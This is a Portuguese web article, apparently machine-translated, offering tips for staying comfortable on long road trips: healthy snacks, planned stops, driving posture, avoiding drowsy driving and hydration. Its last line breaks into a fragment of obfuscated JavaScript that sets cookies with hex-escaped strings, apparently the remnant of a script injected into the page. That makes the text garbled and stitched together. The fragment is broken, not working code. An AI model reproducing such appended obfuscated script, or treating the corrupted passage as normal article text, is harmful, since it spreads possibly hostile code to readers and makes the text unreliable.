Dicas de conforto para viagens longas

Dicas de conforto para viagens longas

As viagens por estrada podem ser uma aventura empolgante e proporcionam tempo para muitas ligações entre os passageiros. No entanto, viagens muito longas também podem ter suas armadilhas, incluindo: corpos doloridos, nutrição inadequada e exaustão. Para ajudar a combater esses desafios, considere as seguintes dicas para se manter confortável durante longas viagens antes de embarcar em sua próxima jornada:

Leve comida

Essa sacola de compras não apenas manterá você abastecido, mas também ajudará a resistir à tentação de parar por opções de alimentos menos saudáveis ​​na estrada. Certifique-se, no entanto, de garantir que suas opções de lanches sejam saudáveis ​​e não carregadas de açúcar, especialmente se você tiver crianças se juntando a você nessa viagem. Lanche saudável opções podem incluir queijo de corda, bolos de arroz, nozes e fatias de maçã. Não negligencie a sua hidratação – leve um cooler com muita água.

Planeje paradas durante longas viagens

Construa várias paradas em sua linha do tempo ao planejar sua viagem – especialmente se você tiver crianças que viajarão com você. Mesmo que a sua viagem seja apenas para adultos, pare a cada poucas horas para se esticar, use o banheiro e ande por aí é uma boa ideia para ajudar a melhorar o fluxo sanguíneo por todo o corpo.

Esteja atento à sua postura

Se você é o motorista, prestar atenção em sua postura é extremamente importante para ajudar a evitar músculos doloridos. Defina seu assento para que você não precise se esticar para alcançar o volante. Evite curvar-se e considere o uso de um pequeno travesseiro para apoiar a parte inferior das costas. Use o controle de cruzeiro quando puder para que você possa manter seus pés descansados no chão – uma posição que é mais fácil em suas costas e quadris.

Não dirija sonolento

Antes de partir para a sua viagem, durma bastante. Quando estiver na estrada, preste atenção ao seu estado de espírito. Se você está se sentindo tonto ou lento, pare para descansar.

Se abasteça

Desta vez, queremos dizer combustível para você, não para o seu veículo. Transportar ao longo de uma variedade de alimentos saudáveis, repletos de vitaminas, permitirá que você consiga lanches menores durante a longa viagem, enquanto ignora as paradas de fast-food ou outras comidas não-saudáveis.

Mantenha-se hidratado

Mantenha o suprimento de água bem abastecido para o máximo de energia. A água faz com que o corpo funcione melhor, facilita a cognição e ainda evita sonolência durante a condução.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]